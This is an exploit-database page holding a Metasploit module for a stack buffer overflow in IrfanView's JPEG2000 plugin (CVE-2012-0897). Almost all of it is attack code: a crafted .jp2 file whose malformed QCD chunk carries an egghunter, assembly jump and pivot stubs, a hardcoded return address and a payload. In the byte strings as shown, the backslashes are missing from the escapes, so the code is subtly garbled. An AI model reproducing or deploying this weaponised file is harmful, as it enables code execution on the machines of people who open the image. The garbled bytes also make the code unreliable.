[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Irfanview JPEG2000 <= v4.3.2.0 jp2 Stack Buffer Overflow
# Published : 2012-07-01
# Author :
# Previous Title : Photodex ProShow Producer 5.0.3256 load File Handling Buffer Overflow
# Next Title : Office 2008 sp0 RTF Pfragments MAC exploit


##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Remote::Egghunter

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Irfanview JPEG2000 <= v4.3.2.0 jp2 Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow vulnerability in
				version <= 4.3.2.0 of Irfanview's JPEG2000.dll plugin. This exploit has been
				tested on a specific version of irfanview (v4.3.2), although other versions may
				work also. The vulnerability is triggered via parsing an invalid qcd chunk
				structure and specifying a malformed qcd size and data.

				Payload delivery and vulnerability trigger can be executed in multiple ways.
				The user can double click the file, use the file dialog, open via the icon
				and drag/drop the file into Irfanview's window. An egg hunter is used for
				stability.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Parvez Anwar <parvez[at]greyhathacker.net>', # vulnerability discovery
					'mr_me <steventhomasseeley[at]gmail.com>',    # msf-fu
					'juan vazquez'                                # more improvements
				],
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2012-0897' ],
					[ 'OSVDB', '78333'],
					[ 'BID', '51426' ],
					[ 'URL', 'http://www.greyhathacker.net/?p=525' ],
				],
			'Platform'          => [ 'win' ],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Payload'           =>
				{
					'Space'    => 4000,
					'DisableNops' => true,
				},
			'Targets'        =>
				[
					# push esp; retn [i_view32.exe]
					# http://www.oldapps.com/irfanview.php?old_irfanview=7097
					# http://irfanview.tuwien.ac.at/plugins/irfanview_plugins_432_setup.exe
					[ 'Irfanview 4.32 / Plugins 4.32 / Windows Universal', { 'Ret' => 0x004819d8 } ]
				],
			'DisclosureDate' => 'Jan 16 2012',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('FILENAME', [ true, 'The output file name.', 'msf.jp2']),
				], self.class)
	end

	# encode our string like unicode except we are not using nulls
	def encode_bytes(raw_bytes)
		encoded_bytes = ""
		0.step(raw_bytes.length-1, 2) { |i|
			encoded_bytes << raw_bytes[i+1]
			encoded_bytes << raw_bytes[i]
		}
		return encoded_bytes
	end

	def exploit
		jp2  = ""
		jp2 << "x00x00x00x0c"         #
		jp2 << "x6ax50x20x20"         # [jP  ] <0x6a502020> magic 0xd0a870a,len 12
		jp2 << "x0dx0ax87x0a"         #
		jp2 << "x00x00x00x14"         #
		jp2 << "x66x74x79x70"         #
		jp2 << "x6ax70x32x20"         #
		jp2 << "x00x00x00x00"         #         MinorVersion = 0      = []
		jp2 << "x6ax70x32x20"         #         Compat = 0x6a703220 = [jp2 ]
		jp2 << "x00x00x00x38"         #
		jp2 << "x75x75x69x64"         # [uuid] <0x75756964> len 56 data offset 8
		jp2 << "x61x70x00xdexecx87" # 56 bytes with start and end tags
		jp2 << "xd5x11xb2xedx00x50" #
		jp2 << "x04x71xfdxdcxd2x00" #
		jp2 << "x00x00x40x01x00x00" #
		jp2 << "x00x00x00x00x60x09" #
		jp2 << "x00x00x00x00x00x00" #
		jp2 << "x00x00x00x00x00x00" #
		jp2 << "x00x00x30x00x00x00" #
		jp2 << "x00x00x00x2d"         #
		jp2 << "x6ax70x32x68"         # [jp2h] <0x6a703268> len 45 data offset 8
		jp2 << "x00x00x00x16"         #
		jp2 << "x69x68x64x72"         # [ihdr] <0x69686472> len 22 data offset 8
		jp2 << "x00x00x00x0a"         #         ImageHeight = 10
		jp2 << "x00x00x00x0a"         #         ImageWidth = 10
		jp2 << "x00x03"                 #         NumberOfComponents = 3
		jp2 << "x07"                     #         BitsPerComponent = 7
		jp2 << "x07"                     #         Compression = 7
		jp2 << "x01"                     #         Colorspace = 0x1 = unknown
		jp2 << "x00x00x00x00x0f"     #
		jp2 << "x63x6fx6cx72"         # [colr] <0x636f6c72> len 15 data offset 8
		jp2 << "x01"                     #         Method = 1
		jp2 << "x00"                     #         Precedence = 0
		jp2 << "x00"                     #         ColorSpaceAproximation = 0
		jp2 << "x00x00x00"             #         EnumeratedColorSpace = 16 = sRGB
		jp2 << "x10x00x00x00x00"     #
		jp2 << "x6ax70x32x63"         # [jp2c] <0x6a703263> length 0 data offset 8
		jp2 << "xffx4f"                 # <0xff4f=JP2C_SOC> Start of codestream
		jp2 << "xffx51"                 # <0xff51=JP2C_SIZ> length 47
		jp2 << "x00x2f"                 #         47 bytes
		jp2 << "x00x00"                 #         Capabilities = 0
		jp2 << "x00x00x00x0a"         #         GridWidth = 10
		jp2 << "x00x00x00x0a"         #         GridHeight = 10
		jp2 << "x00x00x00x00"         #         XImageOffset = 0
		jp2 << "x00x00x00x00"         #         YImageOffset = 0
		jp2 << "x00x00x00x0a"         #         TileWidth = 10
		jp2 << "x00x00x00x0a"         #         TileHeight = 10
		jp2 << "x00x00x00x00"         #         Xtileoffset = 0
		jp2 << "x00x00x00x00"         #         Ytileoffset = 0
		jp2 << "x00x03"                 #         NumberOfComponents = 3
		jp2 << "x07x01x01"             #   Component0Pr=0x7=8 bits un,hsep=1,vsep=1
		jp2 << "x07x01x01"             #   Component0Pr=0x7=8 bits un,hsep=1,vsep=1
		jp2 << "x07x01x01"             #   Component0Pr=0x7=8 bits un,hsep=1,vsep=1
		jp2 << "xffx52"                 # <0xff52=JP2C_COD> length 12
		jp2 << "x00x0c"                 #   12 bytes
		jp2 << "x00"                     #   codingStyle=0=entropy coder w/o partition
		jp2 << "x00"                     #   ProgressionOrder = 0
		jp2 << "x00x05"                 #   NumberOfLayers = 0x5
		jp2 << "x01"                     #   MultiComponentTransform=0x1=5/3 reversible
		jp2 << "x05"                     #   DecompLevels = 5
		jp2 << "x04"                     #   CodeBlockWidthExponent=0x4+2 # cbw ->64
		jp2 << "x04"                     #   CodeBlockHeightExponent=0x4+2 # cbh ->64
		jp2 << "x00"                     #   CodeBLockStyle = 0
		jp2 << "x00"                     #   QMIFBankId = 0

		eggoptions =
		{
			:checksum => false,
			:eggtag => 'pwnd'
		}

		hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
		qcd_data  = ""
		qcd_data << make_nops(10)
		qcd_data << encode_bytes(hunter)
		qcd_data << rand_text_alpha(146)

		jmp_hunter = %q{
			jmp $-0xad
			inc ecx
		}

		# jump to our egghunter
		jmp_hunter = Metasm::Shellcode.assemble(Metasm::Ia32.new, jmp_hunter).encode_string

		qcd_data << encode_bytes(jmp_hunter)
		qcd_data << rand_text_alpha(196-qcd_data.length)
		qcd_data << encode_bytes([target.ret].pack("V"))

		# align ecx and jmp
		pivot = %q{
			inc ch
			jmp ecx
		}

		pivot  = Metasm::Shellcode.assemble(Metasm::Ia32.new, pivot).encode_string

		qcd_data << encode_bytes(pivot)
		qcd_data << egg

		jp2 << "xffx5c"                         # start
		jp2 << "x00xf5"                         # arbitrary size to trigger overflow
		jp2 << "x22"                             # guard
		jp2 << qcd_data                           # malicious code
		jp2 << "xffx90"                         # <0xff90=JP2C_SOT>len 10
		jp2 << "x00x0a"                         # 10 bytes
		jp2 << "x00x00x00x00x00x68x00x01"
		jp2 << "xffx93"                         # <0xff93=JP2C_SOD> Start of data
		jp2 << "x80x80x80x80x80x80x80x80"
		jp2 << "x80x80x80x80x80x80x80x80"
		jp2 << "x80x80x80x80x80x80x80x80"
		jp2 << "x80x80x80x80x80x80x80x80"
		jp2 << "x80x80x80x80x80x80x80x80"
		jp2 << "x80x80x80x80x80x80x80x80"
		jp2 << "x80x80x80x80x80x80x80x80"
		jp2 << "x80x80x80x80x80x80x80x80"
		jp2 << "x80x80x80x80x80x80x80x80"
		jp2 << "x80x80x80x80x80x80x80x80"
		jp2 << "x80x80x80x80x80x80x80x80"
		jp2 << "x80x80"
		jp2 << "xffxd9"

		# Create the file
		print_status("Creating '#{datastore['FILENAME']}' file...")

		file_create(jp2)
	end

end